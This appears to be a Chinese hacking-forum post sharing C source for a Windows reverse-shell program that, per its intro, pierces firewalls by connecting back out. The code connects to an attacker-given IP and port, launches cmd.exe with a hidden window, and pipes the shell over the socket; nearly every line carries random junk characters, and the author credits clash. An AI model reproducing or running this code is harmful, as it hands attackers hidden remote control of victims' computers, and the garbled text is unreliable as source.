这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =
}&@XRLJ
:%!}%fkxH
/* ============================== H9x,C/r,
Rebound port in Windows NT q*Hf%I"
By wind,2006/7 w/L^w50pt
===============================*/ |r]f2Mrm
#include fjE
#include O:=%{/6&D
n9;z=
#pragma comment(lib,"wsock32.lib") %7X<:f|N8x
\WDL?(G<
void OutputShell(); $Vi[195]2
SOCKET sClient; T,Bu5:@#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =aWj+ggd@
[|=#~(yYQ
void main(int argc,char **argv) ,s%1#cbR
{ Y7vTseq
WSADATA stWsaData; Nn"[GB
int nRet; ,~R`@5+
SOCKADDR_IN stSaiClient,stSaiServer; BVKr 2v
"5KJ /7q!
if(argc != 3) >y2;sJ4]D%
{ wH=L+bA>a
printf("Useage:\n\rRebound DestIP DestPort\n"); uB(16|W>S
return; o)X(;o
} arCi$:-z@
!J5k?J&{=
WSAStartup(MAKEWORD(2,2),&stWsaData); X#qmwcF
x}g5
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ECO4ut.d
+0w~Skd,
stSaiClient.sin_family = AF_INET; a?zn>tx
stSaiClient.sin_port = htons(0); 14[+PoF^A
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `]Uu` b
6 9 PTo
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2(-J9y|
{ ?P+n0S!
printf("Bind Socket Failed!\n"); -+'fn$
return; YL )epi^
} F-\Swbx+
*h<=
(Y%
stSaiServer.sin_family = AF_INET; E&\dr;{7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >@NH Al
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); uhyw?#f
g>lJZD@
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m15MA.R>
{ c)d*[OI8
printf("Connect Error!"); v^Eg ,&(
return; jRswGMx
} m])!'Pa(=
OutputShell(); CQf<En|1
} 9`"o,wGX3
tQSj[Yl
void OutputShell() Qy)+YhE
{ 4%8}vCs
char szBuff[1024]; =!axQ[)A
SECURITY_ATTRIBUTES stSecurityAttributes; thoAEG80
OSVERSIONINFO stOsversionInfo; 7}r!&Eb
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TZ`@pDi
STARTUPINFO stStartupInfo; Q9(J$_:
char *szShell; Qz T>h
PROCESS_INFORMATION stProcessInformation; $Hx00
h o
unsigned long lBytesRead; Q?f%]uGFQ
}(g`l)OX
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }Yi)r*LI3
dmq<vVxC
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t SST.o3
stSecurityAttributes.lpSecurityDescriptor = 0; C~do*rnM^
stSecurityAttributes.bInheritHandle = TRUE; p!+7F\
L<kIzB !
e&Z\hZBb
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T;cyU9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T
;Ga G
ND w+bR-
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 59?@55
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4?#0fK
stStartupInfo.wShowWindow = SW_HIDE; u!k]Q#2ZR
stStartupInfo.hStdInput = hReadPipe; <b-BJ2],k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;2o+|U@
pK)*{fC$`
GetVersionEx(&stOsversionInfo); p^2"g~
i\P?Y(-{
switch(stOsversionInfo.dwPlatformId) T6X%.tR>`
{ 45Z"U<I,9
case 1: 8+m[ %5lu
szShell = "command.com"; sU
{'
break; %5N;SRtv
default: {K{&__Nk
szShell = "cmd.exe"; +%Vbz7+!
break; Bg^k~NX%
}
z*Y4t?+
kmJ{(y)w
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pUvbIbg+
Qg)=4(<Hr
send(sClient,szMsg,77,0); (nhv#&Fd+
while(1) G1;.\ i
{ S(7_\8h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b&LfL$
if(lBytesRead) I91pX<NBf
{ ; Nw.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -Jo8jE~>V
send(sClient,szBuff,lBytesRead,0); 8>:kv:MId
} 89I[Dg;"u
else ?/mk FDN
{ V:M$-6jv
lBytesRead=recv(sClient,szBuff,1024,0); xS~OAcxg
if(lBytesRead<=0) break; O1/U3/2/d
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s]=s2.=
} +O<0q"E
} !B= Oc!e=K
VS$ZR'OP0
return; O|#N$a&_N
}